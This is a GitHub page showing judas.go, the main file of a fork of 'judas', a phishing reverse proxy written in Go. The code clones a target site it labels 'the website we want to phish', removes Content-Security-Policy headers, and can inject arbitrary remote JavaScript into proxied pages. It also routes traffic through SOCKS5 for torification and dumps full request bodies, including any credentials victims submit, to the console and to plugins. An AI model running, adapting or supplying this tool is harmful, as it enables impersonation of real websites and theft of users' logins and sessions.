forked from JonCooperWorks/judas
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathjudas.go
198 lines (171 loc) · 4.96 KB
/
judas.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
package main
import (
"crypto/tls"
"flag"
"fmt"
"log"
"net"
"net/http"
"net/http/httputil"
_ "net/http/pprof"
"net/url"
"os"
"path/filepath"
"time"
"github.com/joncooperworks/judas/plugins"
"golang.org/x/net/proxy"
)
const (
// DefaultTimeout is the HTTP client timeout.
DefaultTimeout = 20 * time.Second
)
var (
targetURL = flag.String("target", "", "The website we want to phish.")
address = flag.String("address", "localhost:8080", "Address and port to run proxy service on. Format address:port.")
attachProfiler = flag.Bool("with-profiler", false, "Attach profiler to instance.")
proxyAddress = flag.String("proxy", "", "Optional upstream SOCKS5 proxy. Useful for torification.")
javascriptURL = flag.String("inject-js", "", "URL to a JavaScript file you want injected.")
insecure = flag.Bool("insecure", false, "Listen without TLS.")
certPath = flag.String("cert", "", "Path to the x509 encoded SSL certificate in PEM format.")
privateKeyPath = flag.String("private-key", "", "Path to the x509 encoded certificate in PEM format.")
)
func newTLSListener(address, certPath, privateKeyPath string) (net.Listener, error) {
cer, err := tls.LoadX509KeyPair(certPath, privateKeyPath)
if err != nil {
return nil, err
}
config := &tls.Config{Certificates: []tls.Certificate{cer}}
return tls.Listen("tcp", address, config)
}
func newInsecureListener(address string) (net.Listener, error) {
return net.Listen("tcp", address)
}
func exitWithError(message string) {
log.Println(message)
os.Exit(-1)
}
func setupRequiredFlags() {
flag.Parse()
if *address == "" {
exitWithError("--address is required.")
}
if *targetURL == "" {
exitWithError("--target is required.")
}
if !*insecure {
if *privateKeyPath == "" || *certPath == "" {
exitWithError("--private-key and --cert arguments must point to x509 encoded PEM private key and certificate, or call with the --insecure flag.")
}
}
}
func loadPluginsFromDirectory(pluginsDirectory string) (map[plugins.Plugin]plugins.PluginArguments, error) {
pluginFilePaths, err := filepath.Glob(pluginsDirectory)
if err != nil {
return nil, err
}
installedPlugins := map[plugins.Plugin]plugins.PluginArguments{}
for _, filepath := range pluginFilePaths {
plugin, err := plugins.New(filepath)
if err != nil {
return nil, err
}
arguments, err := plugin.Initialize()
if err != nil {
return nil, err
}
installedPlugins[plugin] = arguments
}
return installedPlugins, nil
}
func main() {
installedPlugins, err := loadPluginsFromDirectory("*.so")
if err != nil {
exitWithError(err.Error())
}
setupRequiredFlags()
log.Println("Setting target to", *targetURL)
u, err := url.Parse(*targetURL)
if err != nil {
exitWithError(err.Error())
}
client := &http.Client{
Timeout: DefaultTimeout,
}
if *proxyAddress != "" {
dialer, err := proxy.SOCKS5("tcp", *proxyAddress, nil, proxy.Direct)
if err != nil {
exitWithError(err.Error())
}
httpTransport := &http.Transport{}
httpTransport.Dial = dialer.Dial
client.Transport = httpTransport
}
responseTransformers := []ResponseTransformer{
LocationRewritingResponseTransformer{},
CSPRemovingTransformer{},
}
if *javascriptURL != "" {
responseTransformers = append(responseTransformers, JavaScriptInjectionTransformer{javascriptURL: *javascriptURL})
}
phishingProxy := &PhishingProxy{
client: client,
targetURL: u,
responseTransformers: responseTransformers,
}
if *attachProfiler {
go func() {
log.Println("Starting profiler.")
log.Println(http.ListenAndServe("localhost:6060", nil))
}()
}
var server net.Listener
if *insecure {
server, err = newInsecureListener(*address)
} else {
server, err = newTLSListener(*address, *certPath, *privateKeyPath)
}
if err != nil {
exitWithError(err.Error())
}
var listenAddr string
if *insecure {
listenAddr = fmt.Sprintf("http://%s", *address)
} else {
listenAddr = fmt.Sprintf("https://%s", *address)
}
log.Println("Listening on:", listenAddr)
transactions := make(chan plugins.HTTPTransaction)
// Process all the plugin arguments.
for plugin, arguments := range installedPlugins {
go plugin.ProcessTransactions(transactions, arguments)
}
// Log transactions to console
go logTransactions(transactions)
for {
conn, err := server.Accept()
if err != nil {
log.Println("Error when accepting request,", err.Error())
continue
}
go phishingProxy.HandleConnection(conn, transactions)
}
}
func logTransactions(transactions <-chan plugins.HTTPTransaction) {
for transaction := range transactions {
request := transaction.Request
req, err := httputil.DumpRequest(&request, true)
if err != nil {
log.Println("Error dumping request to console.")
log.Println(err.Error())
return
}
log.Println(string(req))
resp, err := httputil.DumpResponse(&transaction.Response, false)
if err != nil {
log.Println("Error dumping response to console.")
log.Println(err.Error())
return
}
log.Println(string(resp))
}
}